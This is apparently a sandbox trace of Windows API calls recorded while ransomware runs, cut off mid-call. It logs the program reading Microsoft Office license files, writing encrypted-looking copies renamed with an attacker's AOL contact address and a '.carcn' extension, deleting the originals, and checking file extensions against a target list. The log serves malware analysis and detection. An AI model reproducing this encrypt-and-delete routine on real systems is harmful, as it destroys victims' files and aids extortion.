[0287.358] CloseHandle (hObject=0x41c) returned 1 [0287.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 0x220 [0287.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0287.359] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.359] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0287.360] GetLastError () returned 0x0 [0287.360] ReadFile (in: hFile=0x41c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0287.399] WriteFile (in: hFile=0x568, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0287.400] ReadFile (in: hFile=0x41c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0287.400] WriteFile (in: hFile=0x568, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x10e, lpOverlapped=0x0) returned 1 [0287.400] SetEndOfFile (hFile=0x568) returned 1 [0287.401] CloseHandle (hObject=0x568) returned 1 [0287.401] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.401] SetEndOfFile (hFile=0x41c) returned 1 [0287.408] CloseHandle (hObject=0x41c) returned 1 [0287.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 1 [0287.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0287.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0287.410] lstrlenW (lpString=".doc") returned 4 [0287.410] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.410] lstrlenW (lpString=".docx") returned 5 [0287.410] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.410] lstrlenW (lpString=".pdf") returned 4 [0287.410] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.410] lstrlenW (lpString=".xls") returned 4 [0287.410] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.410] lstrlenW (lpString=".xlsx") returned 5 [0287.410] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.410] lstrlenW (lpString=".ppt") returned 4 [0287.410] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0287.410] lstrlenW (lpString=".zip") returned 4 [0287.411] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.411] lstrlenW (lpString=".rar") returned 4 [0287.411] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.411] lstrlenW (lpString=".bz2") returned 4 [0287.411] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.411] lstrlenW (lpString=".7z") returned 3 [0287.411] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0287.411] lstrlenW (lpString=".dbf") returned 4 [0287.411] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0287.411] lstrlenW (lpString=".1cd") returned 4 [0287.411] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0287.411] lstrlenW (lpString=".jpg") returned 4 [0287.411] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.412] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11621) returned 1 [0287.412] CloseHandle (hObject=0x41c) returned 1 [0287.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 0x220 [0287.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0287.413] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.413] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0287.414] GetLastError () returned 0x0 [0287.414] ReadFile (in: hFile=0x41c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x2d65, lpOverlapped=0x0) returned 1 [0287.426] WriteFile (in: hFile=0x56c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0287.427] ReadFile (in: hFile=0x41c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0287.427] WriteFile (in: hFile=0x56c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x116, lpOverlapped=0x0) returned 1 [0287.427] SetEndOfFile (hFile=0x56c) returned 1 [0287.427] CloseHandle (hObject=0x56c) returned 1 [0287.427] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.427] SetEndOfFile (hFile=0x41c) returned 1 [0287.455] CloseHandle (hObject=0x41c) returned 1 [0287.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 1 [0287.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0287.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0287.708] lstrlenW (lpString=".doc") returned 4 [0287.708] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.708] lstrlenW (lpString=".docx") returned 5 [0287.708] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.708] lstrlenW (lpString=".pdf") returned 4 [0287.708] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.708] lstrlenW (lpString=".xls") returned 4 [0287.708] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.708] lstrlenW (lpString=".xlsx") returned 5 [0287.708] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.708] lstrlenW (lpString=".ppt") returned 4 [0287.708] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0287.708] lstrlenW (lpString=".zip") returned 4 [0287.708] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.708] lstrlenW (lpString=".rar") returned 4 [0287.708] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.708] lstrlenW (lpString=".bz2") returned 4 [0287.708] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.708] lstrlenW (lpString=".7z") returned 3 [0287.708] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0287.709] lstrlenW (lpString=".dbf") returned 4 [0287.709] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0287.709] lstrlenW (lpString=".1cd") returned 4 [0287.709] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0287.709] lstrlenW (lpString=".jpg") returned 4 [0287.709] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.709] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11669) returned 1 [0287.709] CloseHandle (hObject=0x574) returned 1 [0287.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0287.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0287.711] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.711] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0287.712] GetLastError () returned 0x0 [0287.712] ReadFile (in: hFile=0x574, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x2d95, lpOverlapped=0x0) returned 1 [0287.714] WriteFile (in: hFile=0x578, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x2da0, lpOverlapped=0x0) returned 1 [0287.715] ReadFile (in: hFile=0x574, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0287.715] WriteFile (in: hFile=0x578, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x12e, lpOverlapped=0x0) returned 1 [0287.715] SetEndOfFile (hFile=0x578) returned 1 [0287.715] CloseHandle (hObject=0x578) returned 1 [0287.716] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.716] SetEndOfFile (hFile=0x574) returned 1 [0287.719] CloseHandle (hObject=0x574) returned 1 [0287.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0287.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0287.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0287.720] lstrlenW (lpString=".doc") returned 4 [0287.720] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.720] lstrlenW (lpString=".docx") returned 5 [0287.720] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.721] lstrlenW (lpString=".pdf") returned 4 [0287.721] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.721] lstrlenW (lpString=".xls") returned 4 [0287.721] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.721] lstrlenW (lpString=".xlsx") returned 5 [0287.721] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.721] lstrlenW (lpString=".ppt") returned 4 [0287.721] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0287.721] lstrlenW (lpString=".zip") returned 4 [0287.721] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.721] lstrlenW (lpString=".rar") returned 4 [0287.721] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.721] lstrlenW (lpString=".bz2") returned 4 [0287.721] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.721] lstrlenW (lpString=".7z") returned 3 [0287.721] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0287.721] lstrlenW (lpString=".dbf") returned 4 [0287.721] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0287.721] lstrlenW (lpString=".1cd") returned 4 [0287.721] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0287.721] lstrlenW (lpString=".jpg") returned 4 [0287.721] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.722] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=21546) returned 1 [0287.722] CloseHandle (hObject=0x574) returned 1 [0287.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 0x220 [0287.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0287.723] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.723] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0287.724] GetLastError () returned 0x0 [0287.724] ReadFile (in: hFile=0x574, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x542a, lpOverlapped=0x0) returned 1 [0287.739] WriteFile (in: hFile=0x578, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x5430, lpOverlapped=0x0) returned 1 [0287.740] ReadFile (in: hFile=0x574, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0287.740] WriteFile (in: hFile=0x578, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x10e, lpOverlapped=0x0) returned 1 [0287.740] SetEndOfFile (hFile=0x578) returned 1 [0287.741] CloseHandle (hObject=0x578) returned 1 [0287.741] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.741] SetEndOfFile (hFile=0x574) returned 1 [0287.744] CloseHandle (hObject=0x574) returned 1 [0287.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 1 [0287.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0287.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0287.746] lstrlenW (lpString=".doc") returned 4 [0287.746] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.746] lstrlenW (lpString=".docx") returned 5 [0287.746] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.746] lstrlenW (lpString=".pdf") returned 4 [0287.746] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.746] lstrlenW (lpString=".xls") returned 4 [0287.746] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.746] lstrlenW (lpString=".xlsx") returned 5 [0287.746] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.746] lstrlenW (lpString=".ppt") returned 4 [0287.746] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0287.746] lstrlenW (lpString=".zip") returned 4 [0287.746] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.746] lstrlenW (lpString=".rar") returned 4 [0287.746] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.746] lstrlenW (lpString=".bz2") returned 4 [0287.746] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.746] lstrlenW (lpString=".7z") returned 3 [0287.747] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0287.747] lstrlenW (lpString=".dbf") returned 4 [0287.747] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0287.747] lstrlenW (lpString=".1cd") returned 4 [0287.747] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0287.747] lstrlenW (lpString=".jpg") returned 4 [0287.747] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.748] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11619) returned 1 [0287.748] CloseHandle (hObject=0x574) returned 1 [0287.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 0x220 [0287.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0287.752] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.752] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0287.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 